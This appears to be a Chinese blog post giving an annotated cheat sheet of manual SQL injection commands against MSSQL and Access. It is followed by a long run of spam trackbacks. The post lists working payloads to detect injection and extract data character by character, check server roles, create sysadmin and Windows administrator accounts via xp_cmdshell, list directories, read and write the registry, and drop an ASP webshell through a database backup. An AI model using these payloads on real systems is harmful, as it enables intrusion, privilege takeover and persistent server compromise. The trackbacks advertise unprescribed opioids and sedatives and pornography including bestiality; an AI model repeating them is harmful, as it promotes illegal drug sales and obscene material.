带注释手动注入脚本命令的总结
Posted by adminJun 21
1.判断是否有注入;and 1=1 ;and 1=2
2.初步判断是否是mssql ;and user>0
3.注入参数是字符’and [查询条件] and ’’=’
4.搜索时没过滤参数的’and [查询条件] and ’%’=’
5.判断数据库系统
;and (select count(*) from sysobjects)>0 mssql
;and (select count(*) from msysobjects)>0 access
6.猜数据库 ;and (select Count(*) from [数据库名])>0
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
9.(1)猜字段的ascii值(access)
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
(2)猜字段的ascii值(mssql)
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
10.测试权限结构(mssql)
;and 1=(select IS_SRVROLEMEMBER(’sysadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’serveradmin’));--
;and 1=(select IS_SRVROLEMEMBER(’setupadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’securityadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’diskadmin’));--
;and 1=(select IS_SRVROLEMEMBER(’bulkadmin’));--
;and 1=(select IS_MEMBER(’db_owner’));--
11.添加mssql和系统的帐户
;exec master.dbo.sp_addlogin username;--
;exec master.dbo.sp_password null,username,password;--
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
;exec master.dbo.xp_cmdshell ’net user username password
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add’;--
;exec master.dbo.xp_cmdshell ’net user username password /add’;--
;exec master.dbo.xp_cmdshell ’net localgroup administrators username /add’;--
12.(1)遍历目录
;create table dirs(paths varchar(100), id int)
;insert dirs exec master.dbo.xp_dirtree ’c:\’
;and (select top 1 paths from dirs)>0
;and (select top 1 paths from dirs where paths not in(’上步得到的paths’))>)
(2)遍历目录
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
;insert into temp(id) exec master.dbo.xp_subdirs ’c:\’;-- 获得子目录列表
;insert into temp(id,num1) exec master.dbo.xp_dirtree ’c:\’;-- 获得所有子目录的目录树构
;insert into temp(id) exec master.dbo.xp_cmdshell ’type c:\web\index.asp’;-- 查看文件的内容
13.mssql中的存储过程
xp_regenumvalues 注册表根键, 子键
;exec xp_regenumvalues ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Run’ 以多个记录集方式返回所有键值
xp_regread 根键,子键,键值名
;exec xp_regread
’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’CommonFilesDir’ 返回制定键的值
xp_regwrite 根键,子键, 值名, 值类型, 值
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
;exec xp_regwrite ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’,’reg_sz’,’hello’ 写入注册表
xp_regdeletevalue 根键,子键,值名
exec xp_regdeletevalue ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion’,’TestValueName’ 删除某个值
xp_regdeletekey ’HKEY_LOCAL_MACHINE’,’SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey’ 删除键,包括该键下所有值
14.mssql的backup创建webshell
use model
create table cmd(str image);
insert into cmd(str) values (’’);
backup database model to disk=’c:\l.asp’;
15.mssql内置函数
;and (select @@version)>0 获得Windows的版本号
;and user_name()=’dbo’ 判断当前系统的连接用户是不是sa
;and (select user_name())>0 爆当前系统的连接用户
;and (select db_name())>0 得到当前连接的数据库
16.简洁的webshell
use model
create table cmd(str image);
insert into cmd(str) values (’’);
backup database model to disk=’g:\wwwtest\l.asp’;










































113 comments
Trackback by Soma dependence. on April 11, 2010 at 9:14 am
Buy soma....
Soma dosage. Buy soma. Soma. Soma carisoprodol. Drug soma. Soma coupon....
Trackback by Adipex without prescription. on April 11, 2010 at 2:15 pm
Drug adipex....
Adipex online. Adipex-p. Adipex. Adipex no prescription....
Trackback by Alprazolam-ratiopharm. on April 12, 2010 at 6:18 am
Alprazolam....
Alprazolam online without prescription. Photos of alprazolam n126. Alorazolam or alprazolam. Buy alprazolam 2mg bars....
Trackback by Oxycodone apap. on April 13, 2010 at 9:47 am
Oxycodone....
Oxycodone addiction. Oxycodone er. Oxycodone 5mg. Oxycodone....
Trackback by Oxycodone. on April 14, 2010 at 6:46 am
Oxycodone....
5mg oxycodone. Online consultation oxycodone. What is oxycodone. Oxycodone online. Makers of oxycodone hcl. Oxycodone....
Trackback by How to extract acetaminophen from percocet. on April 15, 2010 at 12:01 am
M360 percocet....
Percocet online. Percocet no prescription. Percocet. Percocet 93-490 10 mg. Percocet effects....
Trackback by Natural viagra. on April 15, 2010 at 9:33 am
Cheap viagra....
Generic viagra mastercard. Discount viagra. Viagra canada. Viagra side effects. Viagra prescription price. Viagra....
Trackback by No prescription vicodin. on April 15, 2010 at 8:16 pm
Buy vicodin without prescription....
Lorcet vicodin online....
Trackback by Mylan alprazolam. on April 16, 2010 at 10:57 am
Alprazolam....
Alprazolam teva mg cp s c. Alprazolam without prescription. Side effects of xanax alprazolam. Alprazolam synthesis....
Trackback by Ramadol side effects. on April 16, 2010 at 5:35 pm
Ramadol side effects....
Ramadol side effects....
Trackback by Missionary airfare. on April 16, 2010 at 6:07 pm
Discount airfare....
Airfare lowest. Cheap airfare brazil. Airline airfare. Cheapest airfare for cheapskates. Airfare....
Trackback by Free porn. on April 17, 2010 at 12:15 am
Free anime porn....
Free porn movies. Free porn videos. Free gay porn. Free porn galleries. Free porn....
Trackback by Animal sex. on April 17, 2010 at 9:31 am
Animal sex....
Animal sex....
Trackback by Xxx milf sex girls. on April 17, 2010 at 2:36 pm
Milf sex....
Milf sex date. Free milf sex. Milf sex. Patricia heaton milf sex cum forum. Toll free milf phone sex. Xxx milf sex....
Trackback by Buying xanax with mastercard. on April 17, 2010 at 7:55 pm
Xanax....
Xanax no prescription. Buy xanax online. Xanax. Drug interactions depression xanax....
Trackback by Zolpidem overdose. on April 17, 2010 at 9:40 pm
Zolpidem abuse....
Zolpidem....
Trackback by Cialis best price buy online. on April 18, 2010 at 11:40 am
Cheap cialis....
Cialis best price buy online. Online pharmacy cialis on line....
Trackback by Gay oral sex. on April 18, 2010 at 9:20 pm
Black gay sex....
Click here free horsesex gallery gay horse sex. Gay sex. His first gay sex....
Trackback by Gay animal sex. on April 19, 2010 at 11:35 am
Animal sex movies....
Animal sex forum. Free animal sex. Animal sex stories. Farm animal sex farm. Animal sex....
Trackback by Effect of vicodin. on April 19, 2010 at 12:07 pm
Vicodin detox....
Vicodin no prescription....
Trackback by Farm animal sex. on April 19, 2010 at 10:30 pm
Animal sex....
Free animal sex. Free animal sex movies. Animal sex....
Trackback by Xanax dosage. on April 21, 2010 at 12:48 pm
Xanax....
Buy xanax. Generic xanax 2 mg no prescription. Buy xanax with no prescription. Xanax. Xanax during pregnancy. Generic xanax no prescription....
Trackback by Xanax. on April 22, 2010 at 12:21 pm
Xanax without a prescription....
Xanax withdrawal symptoms. Xanax prescription. Xanax online. Xanax. Xanax xr. Drug interactions depression xanax....
Trackback by Male animal sex. on April 22, 2010 at 11:15 pm
Animal sex stories....
Free animal sex videos. Animal sex videos animal. Animal sex free. Animal sex clips. Free animal sex pics....
Trackback by Discount airfare. on April 23, 2010 at 12:42 pm
Discount airfare....
Airfare auctions. Low airfare tickets. Airfare. Airfare discount malaysia ticket. Cheap airfare....
Trackback by Cheapest cialis. on April 23, 2010 at 8:36 pm
Cialis st....
Taking viagra with cialis. Buy cialis. Cialis forum. Cialis and drug craving. Cialis free sample. Generic cialis....
Trackback by Free porn movies. on April 24, 2010 at 10:56 am
Free porn downloads....
Free black porn. Free adult porn. Free porn pictures. Free teen porn. Free porn....
Trackback by Adipex. on April 24, 2010 at 1:32 pm
Cheap adipex....
Adipex....
Trackback by Animal sex. on April 24, 2010 at 8:59 pm
Sex with animal....
Animal sex movies. Animal sex quiz....
Trackback by Alprazolam. on April 25, 2010 at 5:23 am
Alprazolam....
Alprazolam from mexico. Alprazolam....
Trackback by Cheap tramadol. on April 25, 2010 at 2:27 pm
Buy tramadol online....
Tramadol prescription. Tramadol no prescription. Cheap tramadol. Order tramadol. Discount tramadol....
Trackback by Keyword phentermine. on April 25, 2010 at 9:44 pm
Online phentermine....
Phentermine no prescription....
Trackback by Soma. on April 25, 2010 at 9:48 pm
Soma side effects....
Buy soma online....
Trackback by Compare auto insurance prices. on April 26, 2010 at 11:41 am
Geico auto insurance....
Auto insurance quotes. Free auto insurance quotes. Aarp auto insurance. Auto insurance quote....
Trackback by Cialis. on April 26, 2010 at 9:22 pm
Cialis....
Buy cialis. Cialis and levitra. Cialis....
Trackback by Blowjob movies. on April 27, 2010 at 12:09 am
Blowjob tutorials....
Asian blowjob. Blowjob movie clips. Blowjob movie....
Trackback by Perocet. on April 27, 2010 at 7:16 pm
Perocet....
No prescription perocet. Perocet....
Trackback by Alprazolam. on April 28, 2010 at 2:51 pm
I need alprazolam....
Alprazolam south america. Alprazolam....
Trackback by Incest sex. on April 28, 2010 at 9:05 pm
Incest sex....
Incest sex....
Trackback by Snorting oxycodone. on April 29, 2010 at 2:35 am
Oxycodone extraction 93....
Picture of oxycodone. Oxycodone extraction 93. Oxycodone addiction. Delirium elderly oxycodone. Difference between oxycodone and morphine. Oxycodone side effects. Oxycodone....
Trackback by Diazepam effects patient information. on April 29, 2010 at 9:21 am
Diazepam....
Pharmacy buy diazepam. Diazepam. Web definition of diazepam 10 mg....
Trackback by Vicodin. on April 29, 2010 at 11:53 am
Buy vicodin....
Vicodin user message board. Vicodin. Vicodin without prescription....
Trackback by Ambien cr. on April 29, 2010 at 5:43 pm
Ambien and memory loss....
Ambien next day delivery us. Ambien. Generic ambien. What is ambien....
Trackback by Cheap flights. on May 4, 2010 at 6:25 pm
Cheap flights....
Cheap flights. Cheap airline flights. Cheap flights fiji....
Trackback by Soma prescription medicine. on May 5, 2010 at 10:45 am
Soma san diego....
Soma side effects. Soma. Soma san diego. Addiction to soma. Soma petroleum. Soma without prescription 180 count. Soma prescription medicine....
Trackback by Zolpidem fedex. on May 5, 2010 at 11:17 am
Cheap zolpidem....
Cheap zolpidem persriptions. Zolpidem fedex. Zolpidem zolpidem tartrate. Zolpidem....
Trackback by Keflex. on May 5, 2010 at 6:50 pm
Keflex....
Keflex administered iv. Keflex. What is keflex used for. Keflex 500mg....
Trackback by Blowjob. on May 6, 2010 at 12:33 pm
Blowjob galleries....
Blowjob. Young blowjob....
Trackback by Generic valium. on May 6, 2010 at 11:58 pm
Valium overdose....
Side effects of valium. Valium....
Trackback by Best online casino gambling. on May 7, 2010 at 5:31 pm
Online casino gambling....
Best online casino gambling. Online casino gambling....
Trackback by Broadway show tunes. on May 7, 2010 at 6:27 pm
Hit tunes from the 50 s 60 s....
*.wav looney tunes. Tv tunes. Songwriting tunes advice. Broadway show tunes. Looney tunes. I tunes....
Trackback by Teen blowjob. on May 8, 2010 at 1:45 am
Give yourself a blowjob....
Blowjob movie. Latino blowjob. Wife blowjob. Asian blowjob. Black blowjob. Ebony blowjob. Blowjob. Amazing blowjob....
Trackback by Amphetamine and adipex. on May 8, 2010 at 2:46 am
Adipex no prescription cod....
Adipex. Adipex great buy. Adipex online. How long does it take adipex to work....
Trackback by Viagra. on May 8, 2010 at 2:22 pm
Cheap viagra....
Generic viagra. Buy viagra online....
Trackback by Cheapest cialis. on May 8, 2010 at 3:43 pm
Taking cialis....
Alcohol and cialis. Buy cialis. Cialis best price buy online. Compare cialis and viagra. Cialis....
Trackback by Ambien. on May 9, 2010 at 9:08 am
Ambien....
Online pharmacy us ambien....
Trackback by What is xanax. on May 9, 2010 at 4:53 pm
Buy xanax online....
Xanax....
Trackback by Zolpidem overdose. on May 10, 2010 at 12:56 am
Zolpidem zolpidem tartrate....
Zolpidem and sleepwalking. Zolpidem fedex. Cheap zolpidem. Zolpidem. Zolpidem abuse. Zolpidem with alcohol....
Trackback by Generic viagra. on May 10, 2010 at 12:19 pm
Free viagra....
Viagra. Cheap viagra....
Trackback by Off lable uses for elavil. on May 10, 2010 at 2:03 pm
Elavil....
Will elavil cause a false positive drug test. Benefits of elavil for pe. How does elavil work. Elavil side effects. Will elavil work after 8 wks for migraine. Elavil. Elavil dosage for insomnia....
Trackback by Injectable estradiol without a prescription. on May 11, 2010 at 12:29 am
Fsh and estradiol menopause....
Estradiol cypionate in oil. Depo-estradiol online without a prescription. Breast cancer estradiol drug. Estradiol in men. Estradiol....
Trackback by Ambien. on May 12, 2010 at 6:56 pm
Ambien online....
Ambien cr addiction. Ambien overnight....
Trackback by Cialis best price buy online. on May 13, 2010 at 3:05 am
Cialis....
Purchase cialis online....
Trackback by Gay sex. on May 17, 2010 at 12:00 am
Gay sex....
Gay sex....
Trackback by Adipex. on May 17, 2010 at 1:45 am
Adipex generic....
Adipex dangers. Adipex. Adipex online no prescription....
Trackback by Percocet. on May 17, 2010 at 9:50 am
Percocet....
Percocet 93-490. Percocet. Identify a percocet 93-490....
Trackback by Cheap airfares. on May 17, 2010 at 3:47 pm
Cheap airfares....
Cheap airfares for students. Cheap last minute airfares. Cheap airfares london israel. Cheap airfares. Airfares to las vegas cheap cheap cheap....
Trackback by Buy xanax online. on May 18, 2010 at 2:15 am
Buy xanax online....
Xanax bars. Xanax....
Trackback by Oxycodone. on May 19, 2010 at 9:29 pm
Oxycodone hydrochloride....
Oxycodone online. Online pharmacy oxycodone. How to extract oxycodone from percocet. How long does oxycodone stay is system. Oxycodone....
Trackback by Keflex administered intravenously. on May 21, 2010 at 4:18 am
Keflex....
Keflex drug toothache. Keflex....
Trackback by Zoo sex. on May 23, 2010 at 2:08 am
Zoo sex....
Zoo sex. Gallery sex zoo free....
Trackback by Free animal sex tube. on May 27, 2010 at 4:05 pm
Free animal sex tube....
Free animal sex tube....
Trackback by Handjob movies. on May 31, 2010 at 12:15 pm
Hetero handjob....
Kaci star handjob. Hetero handjob. Handjob movies. Clothed female naked men handjob blowjob....
Trackback by Buy cialis mg x in us online pharmacy. on June 2, 2010 at 3:31 pm
Cialis....
Side effects of cialis. Cialis....
Trackback by Free animal sex pictures. on June 2, 2010 at 7:28 pm
Gay animal sex....
Human animal sex. Free animal sex. Real animal sex. Free animal sex stories. Free xxx beastyality animal sex videos. Free animal sex videos....
Trackback by Liquid hydrocodone. on June 4, 2010 at 12:16 am
Hydrocodone....
Hydrocodone without prescription. Hydrocodone. Canadian medications no prescriptions hydrocodone. Buy hydrocodone online....
Trackback by Vicodin. on June 5, 2010 at 3:36 pm
Buy vicodin no rx....
Vicodin....
Trackback by Home mortgage rates. on June 5, 2010 at 11:41 pm
Mortgage calculator....
Mortgage rates. Mortgage payment calculator. Mortgage calculator. Citi mortgage. Mortgage loans. Mortgage lenders....
Trackback by Animal sex videos. on June 6, 2010 at 12:41 am
Sex animal....
Animal sex videos animal. Animal sex with girl. Animal sex clips. Animal sex....
Trackback by Continental airlines. on June 6, 2010 at 12:48 pm
America west airlines....
Swiss airlines....
Trackback by Buy viagra uk. on June 6, 2010 at 6:28 pm
Viagra for order lamisil viagra....
Viagra. Story comparison viagra. Re viagra cello. Viagra sale....
Trackback by Viagra sale. on June 8, 2010 at 8:14 pm
Viagra....
Viagra. Viagra on line....
Trackback by Viagra. on June 12, 2010 at 8:25 pm
Buy viagra....
Buy viagra online. Viagra....
Trackback by Vicodin. on June 14, 2010 at 5:55 pm
Vicodin no rx....
Vicodin. Mexican vicodin....
Trackback by Vicodin. on June 14, 2010 at 10:13 pm
Drug vicodin....
Vicodin hp. Where to order vicodin with no prescription. Vicodin es. No prescription vicodin. Vicodin. Vicodin addiction. Buy vicodin online without a prescription. Effects of vicodin....
Trackback by Viagra. on June 15, 2010 at 3:10 pm
Viagra....
Generic viagra. Discount viagra. Viagra....
Trackback by Animal sex. on June 16, 2010 at 3:14 am
Free animal sex movies....
Free animal sex pictures. Male animal sex. Animal sex....
Trackback by Vicodin. on June 16, 2010 at 3:33 pm
Vicodin without prescription....
Cheap vicodin....
Trackback by Taking cialis. on June 17, 2010 at 2:34 pm
Cialis viagra levitra....
Cialis dosage. Cialis....
Trackback by Phentermine. on June 17, 2010 at 6:15 pm
Adipexdrug addiction order phentermine online....
Phentermine diet pill. Adipex phentermine vs. Phentermine. Keyword phentermine. Adipexdrug addiction order phentermine online....
Trackback by Best place to buy vicodin. on June 17, 2010 at 8:37 pm
Vicodin without prescription....
Vicodin. Vicodin without prescription....
Trackback by Teen sex. on June 17, 2010 at 9:50 pm
Teen sex....
Teen sex....
Trackback by Harrahs casino. on June 18, 2010 at 12:27 am
Casino royale movie....
Play casino games. Online casino....
Trackback by Carisoprodol phentermine yellow. on June 18, 2010 at 11:18 am
Carisoprodol....
What is carisoprodol 350 mg. used for. Carisoprodol side effects. Carisoprodol toxicity. Carisoprodol....
Trackback by Does xanax make sex better. on June 18, 2010 at 12:05 pm
Xanax....
Xanax side effects. Xanax norx needed one day fedex overnight delivery. How to cut down on xanax. Xanax. Xanax 2mg. Xanax without a prescription....
Trackback by Vicodin. on June 19, 2010 at 12:48 am
Purchase vicodin....
Buy vicodin. Buy vicodin no prescription. Vicodin side effects....
Trackback by Free blowjob pics. on June 19, 2010 at 1:27 am
Blowjob movies....
Blowjob video. Britney spears blowjob. Blowjob. Monster cock blowjob. Free blowjob pics....
Trackback by Vicodin addiction. on June 19, 2010 at 8:08 pm
Vicodin....
Vicodin. Vicodin m360. Vicodin side effects. Vicodin addiction. Order vicodin online....
Trackback by Vicodin. on June 20, 2010 at 3:40 am
Vicodin....
Vicodin. Vicodin side effects....
Trackback by Vicodin and hydroxyzine. on June 20, 2010 at 9:49 am
No prescription vicodin....
Detox vicodin. Buy vicodin. Vicodin. Hyrocodone extracting from vicodin....
Trackback by Zolpidem overnight. on June 20, 2010 at 10:14 am
Buy zolpidem....
Cheap zolpidem persriptions. Zolpidem tartrate. Zolpidem fedex. Zolpidem online. Cheap zolpidem. Zolpidem....
Trackback by Vicodin. on June 20, 2010 at 2:14 pm
Vicodin for the soul....
Effects of vicodin. Vicodin....
Trackback by Percocet. on June 21, 2010 at 10:05 am
Percocet addiction....
Order percocet online. Percocet 5. Side effects of percocet. Buy percocet. Percocet addiction. Percocet side effects....
Trackback by Blowjob. on June 21, 2010 at 6:35 pm
Blowjob galleries....
Free blowjob pics. Teen blowjob. Sample blowjob video. Free blowjob pictures. Ebony blowjob....
Trackback by Vicodin online. on June 22, 2010 at 11:22 am
Vicodin....
Vicodin detox....
Trackback by Buy vicodin without script. on June 23, 2010 at 12:06 am
Next day delivery vicodin....
Vicodin no rx....
Trackback by Purchase vicodin online. on June 23, 2010 at 8:21 am
Signs of vicodin addiction....
Vicodin addiction. Buy vicodin online next day delivery....
Trackback by Buying phentermine. on June 23, 2010 at 10:19 pm
Buy phentermine....
How does phentermine work. Phentermine yellow....
Trackback by Vicodin. on June 24, 2010 at 6:19 pm
Effects of vicodin....
Vicodin. Codeine vicodin....
Trackback by Phentermine. on June 24, 2010 at 8:28 pm
Phentermine....
Phentermine online. Phentermine....
Trackback by Handjob. on June 25, 2010 at 6:43 pm
Handjob movie galleries....
Handjob. Handjob auditions....
Trackback by Cialis. on June 25, 2010 at 9:25 pm
Buy cialis in the uk....
Cialis samples. Cialis. Cialis attorney columbus....
Trackback by Horny animals having sex. on June 27, 2010 at 1:35 am
Men having sex with animals....
Women having sex with animals. Animals sex. Horny animals having sex. Human sex with animals. Sex with animals. Animals have sex with women....
You must be logged in to post a comment.